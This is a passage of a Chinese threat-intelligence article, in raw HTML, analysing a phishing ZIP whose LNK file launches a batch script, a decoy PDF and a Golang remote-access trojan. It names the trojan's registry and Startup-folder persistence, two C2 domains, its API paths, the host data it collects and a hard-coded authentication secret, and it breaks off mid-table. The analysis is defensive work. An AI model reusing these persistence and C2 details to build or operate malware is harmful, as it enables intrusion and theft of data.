mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">ZIP压缩包信息如下：</span></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;width: 100%;"><tbody><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">MD5</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">4c64d98210c7fc53b91ffe8572db9187</span></span></p></td></tr><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">2.50 MB (2619075 字节)</span></span></p></td></tr><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件名</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">Document_Detail.zip</span></span></p></td></tr></tbody></table><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“Document_Detail.zip”文件包含一个名为“Documents_Details.</span><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">lnk”的LNK文件和一个名为“`”的文件夹。</span><o:page></o:page></p><p style="word-break:break-all;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.24610591900311526" data-w="963" style="width:553.739990234375px;height:136.27000427246094px;" src="https://wechat2rss.xlab.app/img-proxy/?k=cdafbdfc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLoulVpRJDyBicPibWibcSO97BWCofHC11ggV7RFhBpoT1ZVBcycaGiaWoyQEhuwXDcjddfb4Dv8KZsiba4pjPJ7WjdYLP3ibcTuyiabo%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在“`”文件夹中包含一个名为“config.bat”的BAT文件，一个“Documents_Details.pdf”伪装文件，和一个名为“windowSysUpdates.txt”伪装成文本的可执行文件。</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.15162454873646208" data-w="554" style="width:553.739990234375px;height:83.52999877929688px;" src="https://wechat2rss.xlab.app/img-proxy/?k=192b03d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLnfPiawic356Hib6NPOnhlNNwPkRvhSnGF0ViaexfNeHl41qNA3oNYO1Jv327MVq1CIDgHHbDCrPqE1bglTmiaIsfQeIdHNqaW9nJU%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">当受害者执行“Documents_Details.lnk”文件，就会后台执行“config.bat”文件</span></p><p style="word-break: break-all;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3108108108108108" data-w="962" style="width: 526.76px;height: 163.69px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8ff11e98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJnnQ7c1ymd4Xmb6Eic2RZibbYJicUV3S9K5dJKPCtRybB3fgpaFw0ucUT8nvoVRsiacQiaGryRAdvjNF6rP36RsicyJ2GtD6PibOzfTw%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">“config.bat”文件内容如下：</span></p><p style="text-align:center;text-indent:10.5pt;mso-char-indent-count:1.0;mso-char-indent-size:10.5;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.40903823870220163" data-w="863" style="width:436.989990234375px;height:178.719970703125px;" src="https://wechat2rss.xlab.app/img-proxy/?k=92acb7ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIrEiaxdrPNovU41W6uL4yHlwRxeVkf6u2D65DOVDxVUVu6Gn7zUiatgfqzJoyib809ODbsTNSDejQ1qm84VniasLht7qadc4qKb18%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">首先，该脚本会删除当前目录下第一个.lnk文件，以清除痕迹，然后切换到名为“`”的目录，打开第一个.pdf文件用以迷惑受害者。伪装内容如下</span><o:page></o:page></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.497883149872989" data-w="1181" style="width:513.0499877929688px;height:255.41000366210938px;" src="https://wechat2rss.xlab.app/img-proxy/?k=45cf4668&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXISlLuNHicnFAnHTCzwxibkWr6mHMNY8ViaGEpzTS7OA5OqOyMmUcTxDkWxJkaBzypzFwUt4eR5XOsctG3p4iaEKJt9RNRHYAA0VFQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">然后将第一个windowSysUpdates.txt重命名为“GymTraniningShedule.exe”文件，创建“%LOCALAPPDATA%\SystemFolder32”目录，将“GymTraniningShedule.exe”文件移动到“%LOCALAPPDATA%\SystemFolder32”目录下用以隐藏攻击载荷，最后执行攻击载荷，并删除自身文件用以销毁痕迹。</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5767790262172284" data-w="801" style="width:542.969970703125px;height:313.19000244140625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bd1e1b87&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLCibwPI9E7U2vwtajjdD8vqkPKq11wibbtN1PepibOPvTt4ZBGkjvC41MQBWv3KsLpgYlBCia2OXzUT9ib1L90fsO6kFFua22zRxqI%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">windowSysUpdates.txt文件信息如下：</span></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;width: 100%;"><tbody><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">MD5</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="mso-bookmark:OLE_LINK3;"><span style="mso-bookmark:OLE_LINK4;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">1d0a37a19233bc64d31f77697247e8f1</span></span></span></span></p></td></tr><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件大小</span></span><o:page></o:page></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">5.96 MB (6245888 字节)</span></span></p></td></tr><tr><td data-colwidth="132" width="132" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">文件名</span></span></p></td><td data-colwidth="421" width="421" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;"><span style="font-size:14.0pt;mso-bidi-font-size:16.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;"><span leaf="">windowSysUpdates.txt</span></span></p></td></tr></tbody></table><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">windowSysUpdates.txt是一个使用Golang编写的远控木马程序。当执行之后，首先会调用main.addToFitnessRegistry进行持久化，该函数实现了两种独立的持久化方式。第一种是通过“reg.exe add”或者“powershell.exe -Command New-ItemProperty”在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下创建名为 DailyFitnessTracker 的值的方式实现持久化。</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.35014005602240894" data-w="1071" style="width:553.739990234375px;height:193.8699951171875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=59b81c27&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXI1pTVMXCYeZryxxo44xGukZzT2UfyHJ4wVyWBd7icGSgxtpVQFoc3Kraviab2WjrpiaGK7jbEgudc5SLMYar7Qoc2rn1jjka1oRs%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">第二种是将自身复制到 %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\FitnessMonitor.exe实现持久化。</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4772256728778468" data-w="966" style="width:553.739990234375px;height:264.26995849609375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bafacdf7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLbialrxNL7Ws4tHQbAT31ktNtpkWVjOlDDvGNDW72peibYI6qpk1Vo8b2mZWxibIPCyibmyQELKm1UTEzB5UM0ibjLm4XkLlw9Vpvk%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-indent:21.0pt;word-break:break-all;"><span style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">接</span></span><span style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">着通过遍历测试内置的C2服务器列表，寻找可用的C2服务器地址(</span></span><span style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">monitorondomainwintgt2.store和monitorondomainwintgt.store</span></span><span style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">)。</span></span><o:page></o:page></p><p style="word-break: break-all;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3669275929549902" data-w="1022" style="width: 553.74px;height: 203.2px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c87cacb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXI9wW0ZeXuju10vI6QQZRbSe0ibBoq2pic4VGK22prHKbeyF5bUiaNefWsvEEVVZcoAIryekyeAKmg2pdnEhvOlqqeGbFlrp8faBI%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="word-break:break-all;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.13184772516248838" data-w="1077" style="width:553.739990234375px;height:73.0px;" src="https://wechat2rss.xlab.app/img-proxy/?k=fba4fe35&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXI6VE3M8MSVPkgQFQTebNpnymS1javqCG8zysqqo8gFFkTD4ZrdErpx3mRj6y1kj444aTA0owucjzMFxpuWLWD7jZWZamqX98E%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">然后通过测试网络tcp连通性，访问/api/gym-facility，/api/gym-membership接口来等待服务端响应。</span></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3166421207658321" data-w="679" style="width:448.2099914550781px;height:141.91998291015625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1462e04c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXL47hwKs0n5Mbed6MxnJ1N4m6Yj2kiaOJTu7mVGyFCkic08iaibhjlERYQOpoJQKwVV9vSXwVghbd29TCBhk7lic5dc1bGYkcjttBtY%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">当服务端响应之后，通过使用POST方法注册客户端。程序会调用getFitnessProfile函数获取包括操作系统类型，系统版本，强度级别，本地地址，国家代码，国家名称，安全软件名称，主机名，用户名等系统信息并打包为JSON格式发送给服务端。</span><o:page></o:page></p><p style="text-align:center;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.47713717693836977" data-w="1006" style="width:498.7099609375px;height:237.95001220703125px;" src="https://wechat2rss.xlab.app/img-proxy/?k=be5dbff1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLxWKTicljZ27Mfc0ib0NCeqUsnEv1y0OKicAZFwAr0wicfhGazSBr6rgcV7qfrYAXEEHjnb4zEe3AhF1hQb8BFlksBB3NZXUwvla4%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">此外，程序还会调用main.generateAuthHeader函数生成基于时间的认证头，格式为SHA256(secret:timestamp):timestamp，其中secret为硬编码字符串A9@mK7#xP2$vL8!nQ5*wB3^eR6&amp;tY1（30字节）。</span></p><p style="text-indent: 21pt;word-break: break-all;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.38046795523906407" data-w="983" style="width: 553.74px;height: 210.67px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bb023397&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXL5JQk9kiaKfY6VPkZqDFBIBH7dbmX5My9Oc4aX5PpPd4kgD8exia5ibNZP84CIxY4jGsiaOynuV6WmjX7Pf277EKz2nOiczraVqEqI%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">最后将生成的认证头附加在API请求的auth参数中，将其通过POST方式发送到“api/gym-membership?client_id”接口实现客户端注册，client_id为用户名。</span><o:page></o:page></p><p style="word-break: break-all;text-align: center;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.39471106758080315" data-w="1021" style="width: 536.11px;height: 211.58px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8c0e1ddc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXL1h9K8va4M7pkIBK0Tf17DdEXCicRsH8WokIh051IKeJJzO69OSYq23GWiaZktv2Pqibic6ZcD7M0akASLWHc4OC8PiarfsFLerCTE%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: justify;text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="text-align: justify;text-indent: 2em;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">完成客户端注册之后，进入工作线程，该函数会创建3个定时器，main.checkCoachInstructions定时器用于轮询C2指令，main.checkServerRecognition用于检查服务端状态，main.testConnectionHealth 测试连接健康。其中main.checkCoachInstructions函数会通过访问/api/coach-instructions接口获取命令，当获取到服务端返回的命令后，调用main.processCoachInstruction函数解密并分发。目前一共支持4个命令。</span></p><table style="margin-left: 0.0;border: none;border-collapse: collapse;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;mso-padding-alt: 0pt 